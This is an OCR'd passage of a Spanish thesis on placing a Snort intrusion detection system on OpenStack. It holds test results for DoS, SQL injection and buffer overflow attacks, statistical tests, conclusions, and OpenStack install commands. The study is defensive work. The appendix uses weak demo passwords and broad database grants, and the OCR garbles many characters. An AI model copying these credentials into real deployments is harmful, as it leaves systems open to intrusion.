Paquetes por segundo (p/s) Paquetes detectados por el IDS % de eficiencia

100 100 100,00%

1.000 1.000 100,00%

10.000 10.000 100,00%

20.000 20.000 100,00%

30.000 30.000 100,00%

40.000 40.000 100,00%

50.000 49.980 99,96%

Realizado por: Cristian Mifio, 2020

En el escenario 2, se mantuvo el porcentaje de eficiencia en 100% durante todo el proceso,

observandose una ligera pérdida de eficiencia cuando se enviaron 50.000 paquetes,

disminuyendo apenas en un 0,04%.

Tabla 3-5. Analisis comparativo entre escenarios en el ataque 1

Numero de Eficiencia del IDS
paquetes/segundo Escenario 1 Escenario 2 Diferencia
100 100,00% 100,00% 0,00%
1.000 100,00% 100,00% 0,00%
10.000 90,27% 100,00% 9,73%
20.000 60,48% 100,00% 39,52%
30.000 37,67% 100,00% 62,33%
40.000 29,86% 100,00% 70,14%
50.000 21,38% 99,96% 78,58%

Realizado por: Cristian Mifio, 2020
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A medida que el numero de paquetes se incrementa, los sistemas de deteccion difieren, siendo
mas estable y eficiente en el escenario 2.
En general, las caracteristicas del escenario 2 presentan mejores niveles de eficiencia que las

del escenario 1.
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Figura 1-5. Eficiencia del IDS segtn ubicacion en ataque 1

Realizado por: Cristian Mifio, 2020

e Ataques #2 Ataque SQL Injection y #3 Ataque Buffer Overflow

Se utiliz6 la herramienta sqlmap para detectar las vulnerabilidades de inyeccion de SQL al
sitio web de pruebas Mutillidae; se enviaron ciertas cantidades de repeticiones de ataques para

analizar la eficiencia.

Tabla 4-5. Resultados del escenario 1 en ataques 2 y 3

. Cantidad de ataques | Cantidad de ataques | .
Tipo de ataque realizados detectados % de eficiencia

SQL Injection 100 100 100%
Buffer Overflow 100 100 100%

Realizado por: Cristian Mifio, 2020

La eficiencia fue del 100% en cada tipo de ataque, por lo que no representan diferencias para

el IDS.
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Tabla 5-5. Resultados del escenario 2 en ataques 2 y 3

ti t ti t
Tipo de ataque Can 1dad. de ataques | Can 1dad. de ataques % de eficiencia
realizados realizados
SQL Injection 100 100 100%
Buffer Overflow 100 100 100%

Realizado por: Cristian Mifio, 2020

De igual manera, la eficiencia fue del 100% en cada tipo de ataque, por lo que no representan

diferencias para el IDS.

Tabla 6-5. Analisis comparativo entre escenarios en ataques 2 y 3

Eficiencia del IDS
Tipo de ataque
Escenario 1 Escenario 2 Diferencia
SQL Injection 100% 100% 0%
Buffer Overflow 100% 100% 0%

Realizado por: Cristian Mifio, 2020

No existen diferencias entre ataques y escenarios; se mantienen las eficiencias en ambos
escenarios. Dado que no existen diferencias entre el nimero de ataques realizados y los ataques
detectados, se concluye que la prueba estadistica falla a favor de la igualdad entre ambos

porcentajes, al ser la diferencia absoluta de 0%.

B Escenario1 [l Escenario 2

200
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Buffer Overflow
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Figura 2-5. Eficiencia del IDS segtn ubicacion en ataques 2 y 3

Realizado por: Cristian Mifio, 2020

5.2. Validacion de la hipotesis
La cantidad de detecciones de ataques informaticos fue el pardmetro para determinar el

porcentaje de eficiencia del sistema de deteccion de intrusos.
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A continuacion, se presentan las pruebas de hipodtesis para cada bloque de paquetes/segundo:

Tabla 7-5. Contraste de hipdtesis sobre diferencia de escenarios (n=10.000)

He: Eficiencia Escenario 1 = Eficiencia Escenario 2
Hi: Eficiencia Escenario 1 # Eficiencia Escenario 2

Observed proportion: 1

N : 10000

95% conf. interval (exact): (90,9996 1)
95% conf. interval (normal): (1 1)

Hypothetical proportion: 0,9027

Z: 32,831
p (same): 2,1239E-236

Realizado por: Cristian Mifio, 2020

En la Tabla 11-5, se puede apreciar que se rechaza la hipotesis nula de igualdad del porcentaje
de eficiencia entre escenarios, ya que con un nivel de significancia del 5%, el p-valor de la
prueba es inferior a 0,05. Por lo tanto, la eficiencia del escenario 2 es superior a la del escenario

L.

Tabla 8-5. Contraste de hipdtesis sobre diferencia de escenarios (n=20.000)

He: Eficiencia Escenario 1 = Eficiencia Escenario 2
Hi: Eficiencia Escenario 1 # Eficiencia Escenario 2

Observed proportion: 1

N : 20000

95% conf. interval (exact): (90,9998 1)
95% conf. interval (normal): (1 1)

Hypothetical proportion: ©,6048

Z: 114,32
p (same): <0.001

Realizado por: Cristian Mifio, 2020

Segtin los resultados de la Tabla 12-5, se rechaza la hipotesis nula de igualdad del porcentaje
de eficiencia entre escenarios, ya que con un nivel de significancia del 5%, el p-valor de la
prueba es inferior a 0,05. Por lo tanto, la eficiencia del escenario 2 es superior a la del escenario

L.

Tabla 9-5. Contraste de hipdtesis sobre diferencia de escenarios (n=30.000)

He: Eficiencia Escenario 1 = Eficiencia Escenario 2
Hi: Eficiencia Escenario 1 # Eficiencia Escenario 2
Observed proportion: 1
N : 30000
95% conf. interval (exact): (0,9999 1)
95% conf. interval (normal): (1 1)

Hypothetical proportion: 0,3767

zZ: 222,8
p (same): <0.001

Realizado por: Cristian Mifio, 2020

54



En la Tabla 13-5, se observa que la hipotesis nula de igualdad del porcentaje de eficiencia
entre escenarios se rechaza, ya que con un nivel de significancia del 5%, el p-valor de la prueba

es inferior a 0,05. Por lo tanto, la eficiencia del escenario 2 es superior a la del escenario 1.

Tabla 10-5. Contraste de hipdtesis sobre diferencia de escenarios (n=40.000)

He: Eficiencia Escenario 1 = Eficiencia Escenario 2
Hi: Eficiencia Escenario 1 # Eficiencia Escenario 2

Observed proportion: 1

N : 40000

95% conf. interval (exact): (90,9999 1)
95% conf. interval (normal): (11)

Hypothetical proportion: ©,2986

Z : 306,53
p (same): <0.001
Realizado por: Cristian Mifio, 2020

En la Tabla 14-5, se puede apreciar que se rechaza la hipotesis nula de igualdad del porcentaje
de eficiencia entre escenarios, ya que con un nivel de significancia del 5%, el p-valor de la

prueba es inferior a 0,05. Por lo tanto, la eficiencia del escenario 2 es superior a la del escenario

L.

Tabla 11-5. Contraste de hipdtesis sobre diferencia de escenarios (n=50.000)

He: Eficiencia Escenario 1 = Eficiencia Escenario 2
Hi: Eficiencia Escenario 1 # Eficiencia Escenario 2

Observed proportion: 90,9996

N : 50000

95% conf. interval (exact): (90,9994 0,9998)
95% conf. interval (normal): (90,9994 0,9998)

Hypothetical proportion: ©,2138

Z: 428,57
p (same): <0.001

Realizado por: Cristian Mifio, 2020

En la Tabla 15-5, se puede apreciar que se rechaza la hipotesis nula de igualdad del porcentaje
de eficiencia entre escenarios, ya que con un nivel de significancia del 5%, el p-valor de la

prueba es inferior a 0,05. Asi, la eficiencia del escenario 2 es superior a la del escenario 1.

Como se puede apreciar en los resultados estadisticos, se nota un incremento en la eficiencia
de deteccion de ataques, llegando a tener una media de 62.80% de mejora en comparacion con
el escenario virtualizado. Teniendo en cuenta los resultados obtenidos se concluye que se

acepta la hipotesis planteada, la cual enuncia.
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La implementacion de un sistema de codigo abierto de deteccion de intrusos (IDS) permitira

incrementar el porcentaje de deteccion de ataques en la plataforma OpenStack.
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5.3. Discusion

El presente estudio tuvo como objeto el disefio de un sistema de seguridad de deteccion de
intrusos, orientado analizar el trafico de la red externa de una plataforma OpenStack. Para ello
se analizaron dos formas de implementacion de IDS, la primera consistio en la implementacion
en una instancia de una maquina virtual en la plataforma OpenStack, mientras que la segunda

forma, tratd de la implementacion directa en el nodo de control.

El desarrollo e instalacion de sistemas IDS constituye una herramienta fundamental para la
administracion de servicios en la nube, asi como para garantizar la seguridad de la misma. Los
servicios en la nube se refieren a la provision de recursos computacionales a pedido o por

demanda, a través de una red informatica (Kosamkar, 2016).

De acuerdo con Xu et al. (2019), los sistemas de deteccion de intrusos en la red (IDS) a
menudo se utilizan para protegerse contra los ataques cibernéticos; sin embargo, las soluciones
existentes para implementar el IDS en un entorno de nube pueden generar un consumo
significativo de recursos, e incluso pueden afectar a las empresas normales con altas
capacidades. En el sentido que plantean los autores, se destaca la importancia de la
implementacion de IDS, pero se advierte que ello tiene un costo a nivel de sistema y otros
recursos, lo cual debe ser analizado y cubierto con el fin de generar el menor impacto adverso

en el servicio y obtener los beneficios en términos de eficiencia del IDS.

La deteccion de intrusiones es el proceso de monitorear los eventos que ocurren en un sistema
o red de computadoras y analizarlos en busca de signos de intrusiones, definidos como intentos
de comprometer la confidencialidad, integridad, disponibilidad o eludir los mecanismos de
seguridad de una computadora o red (Kosamkar, 2016). Asi, la implementacion de esta
investigacion constd de tres tipos de ataques: denegacion de servicio, SQL Injection y Buffer

Overflow, con el fin de determinar la eficiencia y, con base en ella, la vulnerabilidad del IDS.

La denegacion de servicio resulto ser el ataque con mayor influencia en el analisis ya que, a
través de este, se observaron diferencias en las implementaciones. Segun Ali y Fattoh Osman
(2017), la denegacion de servicio afecta la disponibilidad de los diversos servicios en la nube;
en este ataque, el atacante debe comparar y probar muchos hosts y, a partir de ello, seleccionar

aquellos mas débiles, conocidos como computadoras zombies, para iniciar el ataque.

A pesar de la seguridad que se pueda implementar, los ataques de denegacion de servicio

distribuida (DDoS) son un tipo de ataque muy poderoso, que afecta la disponibilidad de
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aplicaciones y servicios en la nube; esto funciona mediante el envio de gran cantidad de trafico
ilegitimo, dirigido al servidor de la nube, el cual manipula los recursos tales como el ancho de

banda y la conectividad (Kiruthika Devi & Subbulakshmi, 2016).

El primer escenario probado fue menos eficiente que el segundo, ya que al estar ubicado en
una maquina virtual el consumo de recursos aumento y se genero la saturacion de la red; por
otra parte, en el segundo escenario la deteccion de trafico fue del 100%, siendo este el mas
eficiente y recomendado para analisis de trafico externo. Ademas, se comprueba la hipotesis
de diferencia en el porcentaje de eficiencia entre los escenarios 1 y 2, determinandose que el
escenario 2 es estadisticamente diferente al escenario 1 y que este presenta los mejores

rendimientos para el IDS.

Este resultado fue similar al encontrado por Xu et al. (2019), quienes determinaron que el
método del sistema de deteccion de intrusiones de red como servicio en nodos (NIDSaaS)
consume menos recursos de CPU que el enfoque de TAP como servicio (TaaS), siendo el
primero mas eficiente; los investigadores enfatizan que el trabajo futuro incluye una medicion

mas completa y la optimizacion del rendimiento y escalabilidad de NIDSaaS.

De acuerdo con Venkateswara-Rao y Venkateswara-Rao (2015), la virtualizacion afecta el uso
de la CPU, el rendimiento de la red, la memoria y el almacenamiento, asi como el rendimiento
de las aplicaciones; asimismo, dentro de la virtualizacion, los grandes rendimientos dependen
esencialmente de la programacion de tareas y la carga de trabajo en el sistema. Las maquinas
virtuales se basan en el paradigma de host—invitado; cada invitado se ejecuta en una imitacion
virtual de la capa de hardware. Este enfoque permite que el sistema operativo invitado se
ejecute sin modificaciones y, también, permite al administrador crear invitados que utilizan
diferentes sistemas operativos. No obstante, las maquinas virtuales aumentan el nimero de
cambios de contexto y, también, consumen considerablemente el CPU para la traduccion de

direcciones.
En términos generales, esta investigacion determino que la diferencia en la implementacion

depende de la ubicacidn, es decir, en maquina virtual o nodo, ya que la configuracion de la

herramienta es la misma.

58



CONCLUSIONES

Se analiz6 y comparo los sistemas de deteccion de intrusos que existen en el mercado,
teniendo en cuenta el tipo de licencia, la capacidad de procesamiento, la facilidad de su
instalacion. Como resultado del analisis se concluyo que Snort es el IDS recomendable

para este estudio.

Se analizé6 y compard las plataformas de computacion en la nube, teniendo como
resultado que OpenStack es la plataforma recomendable para este estudio, esto en base a
las caracteristicas analizadas que fueron; arquitectura, flexibilidad, integracion, y soporte

por parte de la comunidad.

Para el disefo del sistema de deteccion de intrusos (IDS) se analizo tres tipos de ataques
informaticos: Denegacion de Servicio, SQL Injection, Buffer Overflow; determinando
que estos engloban la mayor parte de ataques, dichos ataques sirvieron de base para
elaborar un conjunto de reglas que fueron integradas al sistema de deteccion de intrusos

Snort, las mismas que permitieron detectar los ataques mencionados.

Para la implementacion fue necesario investigar sobre Open vSwitch, la cual forma parte
principal en el componente de red de la plataforma OpenStack como “Mechanism driver”

basado en agente, con esto se logro configurar el puerto espejo para el analisis de trafico.

De acuerdo con los ataques realizados se verifico, que el disefio del sistema de deteccion
de intrusos en el escenario del nodo de control resultd ser mas eficiente, llegando a un
porcentaje de eficiencia de 99,96% con 50 mil paquetes por segundo, en comparacion con
el escenario virtualizado en la plataforma OpenStack que con la misma cantidad de
paquetes llego al 21,39%. Adicional se concluyo que la diferencia en la implementacion
estribo en la ubicacion y la forma en que se analiza el trafico de red, siendo en nodo mas
eficiente que en instancia de maquina virtual, puesto que la configuracion de la

herramienta es la misma.
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RECOMENDACIONES

Para una implementacion en un ambiente de produccion, se recomienda un correcto
dimensionamiento de la plataforma OpenStack, teniendo énfasis en la cantidad de nodos

de red que se van a implementar y los recursos de procesamiento de los mismos.

Se recomienda realizar investigaciones sobre sistemas de deteccion de intrusos basados
en controladoras SDN, dado que OpenStack tiene componentes para la integracion con
controladoras SDN como OpenDaylight, Ryu, Juniper Contrail, Tungsten Fabirc, OVN,
Cisco ACI, VMWare NSX.

La plataforma OpenStack cuenta, al ser modular, permite la integracion con diferentes
componentes, estos componentes tienen sus caracteristicas y peculiaridades, y por ende
sus vulnerabilidades, se recomienda realizar una investigacion a nivel de seguridad
informatica de cada componente de la plataforma al momento de realizar la implantacion

en produccion.

Se recomienda realizar un estudio sobre las mejores practicas de instalacion de la
plataforma OpenStack, incluyendo endurecimiento de los nodos, parametros de
configuracion seguro, implementacion de llaves publicas/privadas, tokens y contrasefias

de acceso scguras.
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CC
DPDK
GRE
IDS
NIDS
OVS

OWASP

PPA
SDN
SNORT
SO
SQL
SQLIA

TCPDUMP

VLAN
VM

VXLAN

GLOSARIO

Computacion en la nube

Kit de desarrollo de plano de datos

Encapsulacion de enrutamiento genérico

Sistema de Deteccion de Intrusos

Modo de sistema de deteccion de intrusiones de red
Open vSwitch

“Open Web Application Security Project” Proyecto de codigo abierto con
el fin de determinar las causas que hacen que el software sea vulnerable.

Archivo de paquete personal (repositorio de GNU/Linux Debian/Ubuntu)
Redes Definidas por Software

Sistema de prevencion de intrusiones de red

Sistema Operativo

Lenguaje de consulta estructurado

Inyeccion SQL

Es una herramienta para linea de comandos cuya utilidad principal es
analizar el trafico que circula por la red.

Red de area local virtual
Magquina Virtual

Red de area local extensible virtual
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ANEXOS

ANEXO A. Instalacion de la plataforma OpenStack.

Para la instalacion de la plataforma OpenStack se utilizo la version Pike sobre el sistema
operativo Ubuntu 18.04 La instalacion del sistema operativo no se contempla en este estudio,

por lo cual se asume que el SO Ubuntu 18.04 se encuentra instalado en los 2 nodos.

Configuracion del Sistema Operativo

Para tener conectividad entre los diferentes nodos es necesario configurar las interfaces de red.

cmino@ubuntu:~$ more /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

auto enp4si

iface enp4sl inet static
address 172.16.0.201
netmask 255.255.255.0
gateway 172.16.0.250
dns-nameserver 172.16.0.1

auto enp4s2

iface enp4s2 inet static
address 10.20.0.101
netmask 255.255.255.0

auto enp4s3
iface enp4s3 inet manual

Figura 1. Configuracion de las interfaces de red

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Una vez configuradas las interfaces de red y verificado que los nodos se encuentran con acceso

a internet, se necesita actualizar los paquetes del SO.



cmino@ubuntu:~$ sudo apt update

0bj:1 http://security.ubuntu.com/ubuntu xenial-security InRelease

0bj:2 http://ec.archive.ubuntu.com/ubuntu xenial InRelease

0bj:3 http://ec.archive.ubuntu.com/ubuntu xenial-updates InRelease

Ign:4 http://ubuntu-cloud.archive.canonical.com/ubuntu xenial-updates/pike InRelease

0bj:5 http://ec.archive.ubuntu.com/ubuntu xenial-backports InRelease

Des:6 http://ubuntu-cloud.archive.canonical.com/ubuntu xenial-updates/pike Release [7.880 B]

Des:7 http://ubuntu-cloud.archive.canonical.com/ubuntu xenial-updates/pike Release.gpg [543 B]

Des:8 http://ubuntu-cloud.archive.canonical.com/ubuntu xenial-updates/pike/main amd64 Packages [185 kB]
Des:9 http://ubuntu-cloud.archive.canonical.com/ubuntu xenial-updates/pike/main 1386 Packages [185 kB]
Descargados 378 kB en 3s (118 kB/s)

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias

Leyendo la informacion de estado... Hecho

Se pueden actualizar 149 paquetes. Ejecute «apt list --upgradable» para verlos.

Figura 2. Actualizacion del SO de los nodos

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

En cada nodo se modifica el nombre del host, a través del siguiente comando.

1 cmino@controller@l:~$sudo hostnamectl set-hostname controllerol

Figura 3. Comando para modificar el nombre del host

Realizado por: Cristian Mifio, 2020

Instalacion de los servicios de NTP

Un punto importante en la instalacion de la plataforma OpenStack en la sincronizacion del
tiempo, todos los nodos deben tener la mismas fecha, hora y zona horaria; para esto es

necesario contar con un servidor NTP.

1 cmino@controller@l:~$sudo apt install chrony
Figura 4. Comando para instalar servicio NTP

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

En el nodo de control se modifica la siguiente linea, donde se indica que red puede

sincronizarse.

# NTP server.
#local stratum 10

# This directive designates subnets (or nodes) from which NTP clients are allowed
# to access to 'chronyd'.

allow 172.16.0.0/24 |
Figura 5. Configuracion de acceso NTP

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



En los nodos de computo se elimina la linea “pool 2.debian.pool.ntp.ork offline iburst” y se

remplaza con la linea “server controllerO1 iburst”, posterior se reinicia el servicio de NTP.

1 cmino@controller@l:~$sudo systemctl restart chrony

Figura 6. Reinicio del servicio de NTP

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Instalacion y configuracion de servicios base

Para la administracion de PPAs, es necesario instalar los scripts de software-properties-

common. Posteriormente, se agrega el repositorio de OpenStack.

1 cmino@controller@l:~$sudo apt install software-properties—common
2 cmino@controller@l:~$sudo add-apt-repository cloud-archive:pike
3 cmino@controller@l:~$sudo apt install python-openstackclient

Figura 7. Instalacion del repositorio para OpenStack

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

La base de datos es uno de los servicios base mas importante en la plataforma OpenStack, ya
que aqui se almacena toda la estructura y datos de los servicios. En este estudio se utilizo el
sistema de manejador de base de datos MariaDB con el cliente python-pymysql para la
conexion con los diferentes servicios;, a continuacion, se describe la instalacion y

configuracion de la base de datos.

1 cmino@controller@l:~$sudo apt install mariadb-server python-pymysql

2 cmino@controller@l:~$sudo nano /etc/mysql/mariadb.conf.d/99-openstack.cnf
3 [mysqld]

4 bind-address = 172.16.0.201

5 default-storage-engine=innodb

6 innodb_file_per_table = on

7 max_connections = 4096

8 collation-server = utf8_general_ci

9 character-set-server = utf8

10 cmino@controller@l:~$sudo systemctl restart mysql

11 cmino@controller@l:~$sudo mysql_secure_installation

Figura 8. Proceso de instalacion y configuracion de MariaDB

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



En la Figura 8 se indica el proceso de instalacion y configuracion de la base de datos MariaDB,
el comando de la linea 01 instala el servicio de MariaDB y el cliente para la conexion con
Python, en la linea 02 se crea el archivo 99-openstack.cnf de configuracion para la plataforma
OpenStack y se agregan las lineas desde la 04 a la 10, posterior a la configuracion se reinicia
el servicio como lo indica en la linea 11 y se ejecuta el asiste de configuracion de seguridad
como lo indica en la linea 12. Rabbitmq y memcached son otros servicios necesarios para el
correcto funcionamiento de la plataforma OpenStack; a continuacion, se describe la instalacion

y configuracion.

cmino@controller@l:~$sudo apt install rabbitmg-server
cmino@controller@l:~$sudo rabbitmgctl add_user openstack rabbit
cmino@controller@l:~$sudo rabbitmgctl set_permissions openstack ".x" ".x" ".x"
cmino@controller@l:~$sudo apt install memcached python-memcache
cmino@controller@l:~$sudo systemctl restart memcached

U h W N =

Figura 9. Instalacion y configuracion de Rabbitmq y Memcached

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

En la linea 01 de la Figura 9 se muestra el proceso de instalacion de Rabbitmg, una vez
instalado el servicio de Rabbitmq se agrega el usuario para OpenStack y se asignan los
permisos de lectura y escritura, como lo indican las lineas 02 y 03. En la linea 04 se instala el

servicio de memcaced y en la linea 05 se reinicia el servicio.

Instalacion y configuracion del servicio de identidad (Keystone)

OpenStack utiliza a keystone como servicio de identidad, este servicio se instala y configura
en el nodo de control. Previo la instalacion de keystone es necesario configurar la base de

datos, esto se realiza a través de los comandos SQL como se muestra en la Figura 10.

mysql

MariaDB [(none)]> CREATE DATABASE keystone;

MariaDB [(none)]> GRANT ALL PRIVILEGES ON keystone.x TO 'keystone'@'localhost’
IDENTIFIED BY 'keystone';

MariaDB [(none)]> GRAN ALL PRIVILEGES ON keystone.x TO 'keystone'@'s'
IDENTIFIED BY 'keystone';

MariaDB [(none)]> quit;

N o s WN R

Figura 10. Configuracion de la base de datos para el servicio Keystone

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



Una vez creada la base de datos se inicia la instalacion de los servicios, posterior se configura

el servicio de Keystone a través del archivo keystone.conf como lo indica la Figura 11.

No s WN e

cmino@controller@l:~$sudo apt install keystone apache2 libapache2-mod-wsgi
cmino@controller@l:~$sudo nano /etc/keystone/keystone.conf

[database]

connection = mysql+pymysql://keystone:keystone@controller@l/keystone
[token]

provider = fernet

Figura 11. Instalacion y configuracion del servicio keystone

Fuente: Denton (2018)

Realizado por: Cristian Mifio, 2020

Una vez configurado el servicio de keystone se genera la estructura como se muestra en la

Figura 12. Posteriormente, se crea el catalogo del servicio de keystone y se configura el

servicio Apache http como lo indica la linea 11.

O o0 N WU A WN R

[y
()

11

cmino@controller@l:~$su -s /bin/sh -c "keystone-manage db_sync" keystone
cmino@controller@l:~$keystone-manage fernet_setup
——keystone-user keystone —--keystone-group keystone
cmino@controller@l:~$keystone-manage credential_setup
——keystone-user keystone —--keystone-group keystone
cmino@controller@l:~$keystone-manage bootstrap —-bootstrap-password openstack
——bootstrap-admin-url http://controller@1:35357/v3/
——bootstrap-internal-url http://controller@1:5000/v3/
——bootstrap-public-url http://controller@1:5000/v3/
——bootstrap-region-id RegionOne
systemctl restart apache2

Figura 12. Configuracion y bootstrap del servicio de Keystone

Fuente: Denton (2018)

Realizado por: Cristian Mifio, 2020

Para utilizar el cliente de OpenStack es necesario establecer las variables de entorno.

O oo NO WU B WN =

cat >> ~/adminrc <<EOF

export 0S_PROJECT_DOMAIN_NAME=default

export OS_USER_DOMAIN_NAME=default

export O0S_PROJECT_NAME=admin

export OS_USERNAME=admin

export 0S_PASSWORD=openstack

export OS_AUTH_URL=http://controller@1:35357/v3
export OS_IDENTITY_API_VERSION=3

EOF

Figura 13. Variables de entorno para el cliente de OpenStack

Fuente: Denton (2018)



Realizado por: Cristian Mifio, 2020

Una vez establecidas las variables de entorno se crean los usuarios, proyectos y roles que seran
utilizados para la administracion de la plataforma. En las siguientes figuras, se muestran los

procesos de creacion:

root@controller®1:~# openstack project create --description "Service Project" service

e e e -
| Field | value

R e e +
| description | Service Project

| domain_id | default

| enabled | True

| id | dfcca23bd88d499db6443a7f878fbd61 |
| is_domain | False

| name | service

| parent_id | default

e e T +

Figura 14. Resultado de la creacién del proyecto

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

root@controller@1:~# openstack user create demo --password=demo

e e e e e +
| Field | value |
e T T R e +
| domain_1id | default |
| enabled | True |
| id | ©c2013fad3f04d369f7b68c8100f55c6 |
| name | demo |
| options | {3 I
| password_expires_at | None |
e e +

Figura 15. Resultado de la creacion del usuario

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

root@controller@1:~# openstack role create user

e e i +
| Field | value |
e e e +
| domain_1id | None |
| id | dceb8d31e1f54e32883ced905c6a58ac |
| name | user |
e e +

Figura 16. Resultado de la creacion del rol

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

1 cmino@controller@l:~$openstack role add ——project demo --user demo user

Figura 17. Asignacion del proyecto al usuario

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



Instalacion y configuracion del servicio de imagen (Glance)

Glance es el servicio de imagen, este es el responsable de almacenar las imagenes y copias
instantaneas de las instancias, como también de proveer imagenes (de sistemas operativos) a
los nodos de computo para que las instancias puedan ser creadas. Previo la instalacion de
Glance en necesario configurar la base de datos, esto se realiza a través de los siguientes

comandos.

MariaDB [(none)]l> CREATE DATABASE glance;

MariaDB [(none)]> GRANT ALL PRIVILEGES ON glance.x TO 'glance'@'localhost’
IDENTIFIED BY 'glance';

MariaDB [(none)]> GRANT ALL PRIVILEGES ON glance.x TO 'glance'@'s'
IDENTIFIED BY 'glance’;

MariaDB [(none)]> quit;

O U A WN =

Figura 18. Configuracion de la base de datos para el servicio Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Una vez creada la base de datos para el servicio de Glance, se crea el usuario, servicio, y
endpoint a través del cliente de OpenStack. En las siguientes figuras, se muestran los procesos

de creacion:

root@controller@1:~# openstack user create glance --domain default --password=glance

e R e +
| Field | value |
e e e +
| domain_1id | default |
| enabled | True |
| id | f09dc19626c340c08ead4f7f878654306 |
| name | glance |
| options | {3 I
| password_expires_at | None |
e e T +

Figura 19. Resultado de la creacion del usuario para el servicio de Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

root@controller01:~# openstack service create --name glance --description "OpenStack Image" image

R e e +
| Field | value |
Fommm e e +
| description | OpenStack Image |
| enabled | True |
| id | 5541d1189f334ec38780ef84b3ead3af |
| name | glance |
| type | image |
R B +

Figura 20: Resultado de la creacion del servicio de Glance

Fuente: Denton (2018)



Realizado por: Cristian Mifio, 2020

La creacion de los endpoint de glance en la plataforma OpenStack viene dada de la siguiente

manera:

1 cmino@controller@l:~$openstack endpoint create —--region RegionOne image
2 public http://controller@1:9292

3 cmino@controller@l:~$openstack endpoint create --region RegionOne image
4 internal http://controller@1:9292
5
6

cmino@controller@l:~$openstack endpoint create —-region RegionOne image
admin http://controller@1:9292

Figura 21: Endpoint del servicio de Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Una vez creado los usuarios, servicios y endpoint se instala Glance en el nodo de control como

se muestra en la Figura 22.

1 cmino@controller@l:~$apt install glance
2 cmino@controller@l:~%$sudo nano /etc/glance/glance-api.conf
3 cmino@controller@l:~$sudo nano /etc/glance/glance-registry.conf

Figura 22. Instalacion del servicio de Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Se configura la conexion a la base de datos y parametros de identidad a través de los archivos

glance-api.conf y glance-registry.conf

[database]

#
# From oslo.db
#

# If True, SQLite uses synchronous mode. (boolean value)
#sqlite_synchronous = true

# The back end to use for the database. (string value)
# Deprecated group/name - [DEFAULT]/db_backend
#tbackend = sqlalchemy

# The SQLAlchemy connection string to use to connect to the database. (string
# value)

# Deprecated group/name - [DEFAULT]/sql_connection

# Deprecated group/name - [DATABASE]/sql_connection

# Deprecated group/name - [sql]/connection

connection = mysq1+pymysqk://glance:glance@controllerol/glancdD

Figura 23. Configuracion de la conexion a la base de datos del servicio de glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020



[keystone_authtoken]

#
# From keystonemiddleware.auth_token
#
auth_uri = http://controller®1:5000
auth_url = http://controller®1:35357

memcached_servers = controller01:11211
auth_type = password

user_domain_name = default
project_domain_name = default
project_name = service

username = glance

password = glance

Figura 24. Configuracion de los parametros de identidad del servicio de glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

1 cmino@controller@l:~$sudo nano /etc/glance/glance-api.conf
2 [paste_deploy]

3 ses

4 flavor = keystone

5 sas

6 [glance_store]

7 ces

8 stores = file,http

9 default_store = file
10 filesystem_store_datadir = /var/lib/glance/images

Figura 25. Configuracion parametros adicionales para el servicio de Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Una vez configurado el servicio de glance, se genera la estructura y datos a través del comando

glance-manage como se muestra en la Figura 26.

1 cmino@controller@l:~$su —-s /bin/sh -c "glance-manage db_sync" glance
2 cmino@controller@l:~$systemctl restart glance-registry glance-api

Figura 26. Creacion de la estructura de la base de datos para Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Para verificar el funcionamiento del servicio de glance se crea una imagen del SO de Ubuntu,

esto se realiza a través del cliente de OpenStack como se muestra en la Figura 27.



cmino@controller@l:~$mkdir /tmp/images

cmino@controller@l:~$wget —P /tmp/images
http://cloud-images.ubuntu.com/bionic/current/bionic-server—cloudimg-amd64.img

cmino@controller@l:~$openstack image create "ubuntu-bionic-18.04"
——file /tmp/images/bionic-server-cloudimg-amd64.img —-disk-format qcow2
——container-format bare —public

O U A W N =

Figura 27. Creacion de la imagen de Ubuntu en el servicio de Glance

Fuente: Denton (2018)
Realizado por: Cristian Mifio, 2020

Instalacion y configuracion del servicio de computo (Nova)

Nova es una coleccion de servicios que permiten lanzar instancias de maquinas virtuales, la
mayoria de servicios corren en el nodo de control excepto el servicio “nova-compute” el cual
corre en los nodos de computo y es el encargado de crear las instancias de la maquinas

virtuales.

Previo la instalacion de Nova es necesario configurar la base de datos, esto se realiza a través

de los siguientes comandos.

1 MariaDB [(none)]> CREATE DATABASE nova;

2 MariaDB [(none)]> CREATE DATABASE nova_api;

3 MariaDB [(none)]l> CREATE DATABASE nova_cello;

4 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nova.x TO 'nova'@'localhost’

5 IDENTIFIED BY 'nova';

6 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nova.* TO 'nova'@'s’

7 IDENTIFIED BY 'nova';

8 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nova_api.* TO 'nova'@'localhost'’
9 IDENTIFIED BY 'nova';

10 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nova_api.x TO 'nova'@'s’

11 IDENTIFIED BY 'nova';

12 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nova_cell@.x TO 'nova'@'localhost’
13 IDENTIFIED BY 'nova';

14 MariaDB [(none)]> GRANT ALL PRIVILEGES ON nova_cell@.x TO 'nova'@'s’

15 IDENTIFIED BY 'nova';

Figura 28. Configuracion de la base de datos para el servicio de Nova

Fuente: Denton (2018)
